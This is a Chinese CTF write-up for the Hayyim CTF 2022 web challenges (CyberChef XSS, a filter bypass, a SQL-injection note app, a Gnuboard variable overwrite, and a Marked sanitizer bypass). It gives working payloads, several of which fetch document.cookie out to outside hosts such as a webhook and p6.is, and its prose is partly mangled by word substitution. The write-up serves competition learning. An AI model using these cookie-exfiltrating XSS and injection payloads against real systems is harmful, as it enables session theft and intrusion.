Hayyim-CTF-2022 Web全解析

0x00 Background

上周六打了POSIX make的6个Web CTF challenge(含一个 revenge)

(有一个只是披着web壳子的pwn,所以就不提了),觉得这些标题有复盘的必要 难度中等 思绪有趣,故写此文

0x01 Cyberchef

开局一个cyberchef

图片[1]-Hayyim-CTF-2022 Web全解析-孤勇者社区
版本比拟新 但是由于他给了一个bot 所以不难猜想应该是个xss,于是 直接github搜issue

https://github.com/gchq/CyberChef/issues/1265
图片[2]-Hayyim-CTF-2022 Web全解析-孤勇者社区
这有一个在scatter chart里面的

由于在<svg>里面对color这没什么转义 招致能够直接xss

Scatter chart 和Series chart里面都存在

于是直接结构payload 直接打bot就行

#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Edocument.location='webhook.xxx?cookie='%20+%20document.cookie;%3C/script%3E',100,false)&input=MTAwLCAxMDA

然后直接在webhook收米即可

图片[3]-Hayyim-CTF-2022 Web全解析-孤勇者社区

觉得这题很简单 不过是个search题 但是赛后听POSIX说他不晓得有未修复的xss 他其实是想让大家挖他发现的0day的(

import requests

payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"

print(payload)

res = requests.post('http://1.230.253.91:8001/report', data = {
    'url': payload
}, allow_redirects = False)

print(res.text);
print(res.headers);

这里贴出他的预期payload 污染了结构器然后fetch一个xss

0x02 CyberHeadChef

在竞赛中 POSIX就发现了他的标题被非预期了 于是他在bot那里直接ban掉了chart字样

图片[4]-Hayyim-CTF-2022 Web全解析-孤勇者社区
企图让我们不运用 Scatter chart 和Series chart 用他的预期0day

但是他的bot用的是chrome

图片[5]-Hayyim-CTF-2022 Web全解析-孤勇者社区
而chrome阅读器会疏忽一些不可见字符 比方%00

所以很轻松就bypass掉了

#recipe=Scatter_cha%00rt

再发送链接给boot

图片[6]-Hayyim-CTF-2022 Web全解析-孤勇者社区
图片[7]-Hayyim-CTF-2022 Web全解析-孤勇者社区
Get flag

0x03 not_e

一道有意义的标题 首先登录 然后有个发表note的功用
图片[8]-Hayyim-CTF-2022 Web全解析-孤勇者社区
能够看到在这里会插入 title content 最后的req.session.login也就是用户名

产生破绽的中央主要是这里的处置 假如在标题上运用?被交换为空之后 我们就能够注入本人想注入的东西 再将无用的东西注释掉

比方 我们插入

insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",test", "userid"]);

会变成

insert into posts values ("noteid", "",test"", ?, ?)

在能插入的,test这里交换查flag的sql语句即可 然后留意要满足insert的列数

最后payload

title=?&content=,(select flag from flag),'test[]') -- - //留意这里面的test[]是你本人用户名

胜利取得flag

0x04 Gnuboard

我最喜欢的一道题 是一个韩国的系统 并且放出hint是个0day 但并不是个十分hardcore的0day,很快乐本人独立审了出来

首先关注这里 把flag写在common.php里 这并不常见,看到这里我简直能够肯定他并不是让我们rce 可能是文件读取之类的

所以我的战略是关注common.php文件自身和调用common.php的文件

简单看了common.php并没有发现什么很关键的东西

我停止了正则匹配 匹配包含进common.php的文件

最后定位了一个文件 /shop/inicis/instdpay_result.php

我留意到这里有可变变量 那就是可能存在变量掩盖 由于他包含进了common.php 所以我们把$netcanceResultString赋值为flag即可

然后要做的就是察看我们可控点

在这里能够看见 我们要走进代码体首先需求把resultCode设置为0000

并且authtoken authurl netcanceurl 我们都是可控的 着重关注下这些点

察看我们想要走进catch 得到这个可变变量 而且运用的new Httpclient 来恳求网站获取body

所以把authurl设置成一个不可访问的网站 把netCancelUrl设置成我们效劳器的一个页面随意打印出来一个值即可

最终结构payload:

http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://test.com&resultCode=0000&netCancelUrl=https://效劳器/1.php&a=flag

1.php的内容很容易

<?php
echo "a"
?>

胜利获取到flag

0x05 Marked

一个0解题

/new路由跟not_e一样能发一个note

并且这里面会把markdown to html 但是他用了sanitize过滤

所以我们要留意html的解析器 能够在这里看到他运用了node-html-parser

在竞赛中我也没了思绪 不晓得怎样处理

等到后来posix发了一个脚本

https://github.com/posix-lee/jsfuxx

特地用来fuzz一下能够运用的字符来摧毁node-html-parser来bypass html sanitize

最后放上posix的应用脚本

import requests, random

HOST = 'http://1.230.253.91:3000'

s = requests.Session()

res = s.post(HOST + '/login', {
    'username': 'posix',
    'password': '1337'
})

res = s.post(HOST + '/new', {
    'title': 'abcd',
    'content': "</header <a><a\t><h<a\x0Bstyle='animation-name:spinner-donut-anim'onanimationend='fetch(`http:\\x2f\\x2fp6.is\\x2fflag\\x2f${document.cookie}`)' "
})

print(res.text)
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像的的0